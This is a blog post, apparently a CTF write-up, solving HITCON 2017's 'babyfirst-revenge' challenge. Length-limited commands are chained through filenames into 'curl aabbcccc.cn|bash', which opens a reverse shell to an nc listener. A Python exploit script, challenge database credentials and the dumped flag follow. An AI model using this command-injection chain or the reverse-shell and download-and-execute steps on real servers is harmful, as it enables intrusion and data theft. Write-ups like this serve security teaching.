HITCON2017-Web-writeup

原创

jchalex 于 2019-10-27 02:25:05 发布 1176 收藏

分类专栏： CTF 文章标签： CTF

本文链接：https://blog.csdn.net/SCNU_Jiechao/article/details/102763174

版权

CTF 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

HITCON2017-Web-writeup

Problems

babyfirst-revenge

Description:

```php
<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
```

From the description, we know that `@exec($_GET[‘cmd’])` can be used to get shell, but the length of each command has to be <= 5.

My idea is:

1. Prepare a service `nc -lvp 8080` in WAN;
2. Prepare a reverse shell text in our own server;
3. Get reverse shell from our own server;

How to get the reverse shell from our own server? We can follow this idea:

```
curl aabbcccc.cn|bash
```

Put the command above into a file `g` on the game’s server, and then use `sh g` to execute.

How to put the file?
Generate a few files with specific names, use `\` to connect them, then

```
ls -t>g
```

How to generate?

```
>name
```

How to execute `ls -t>g`?
In the same way, put it into a file `_`.

```
# "ls" > _, " -t>g" >> _
# ls\
#  \
# -t\
# >g
>ls\\
ls>_
>\ \\
>-t\\
>\>g
ls>>_
```

Tips: the order in CentOS's default shell is different from php, which use `LC_COLLATE=C`.

Get shell in the same way:

```
>sh
>ba\\
>\|\\
>cn\\
>c.\\
>cc\\
>bc\\
>bb\\
>aa\\
>\ \\
>rl\\
>cu\\
```

Execute:

```
sh _
sh g
```

Exp:

```
import requests
from urllib import quote

url = 'http://117.50.3.97:8001/'

payload = [
    '>ls\\\\',
    'ls>_',
    '>\ \\\\',
    '>-t\\\\',
    '>\>g',
    'ls>>_',
    '>sh',
    '>ba\\\\',
    '>\|\\\\',
    '>cn\\\\',
    '>c.\\\\',
    '>cc\\\\',
    '>bc\\\\',
    '>bb\\\\',
    '>aa\\\\',
    '>\ \\\\',
    '>rl\\\\',
    '>cu\\\\',
    'sh _',
    'sh g'
]

res = requests.get(url + '?reset=')
for cmd in payload:
    x = url + '?cmd=' + quote(cmd)
    print(x)
    res = requests.get(x)
```

Tips:

1. file `.xx` will not appear in `ls -t`, because it will be hidden;
2. `|`, `’ '`(blank) need `\` in shell;
3. `\` in python need one more;

After get the reverse shell, we find a folder `fl4444g` in /home and there is a `README.txt` in `fl4444g`, which shows:

```
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
```

Connect mysql:

```
mysql -ufl4444g -pSugZXUtgeJ52_Bvr
```

Show databases:

```
show databases;
s;
ERROR 1064 (42000) at line 2: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
Database
information_schema
fl4gdb
```

Show tables:

```
use fl4gdb;
show tables;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
Tables_in_fl4gdb
Tables_in_fl4gdb
this_is_the_fl4g
```

Dump:

```
use fl4gdb;
select * from this_is_the_fl4g;
s;
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's' at line 1
secret
flag{bf4a0a1a-226c-4e20-b3a1-0398ba83278f}
```

The database’s interaction is not friendly, which make me to think that there are some problems to connect.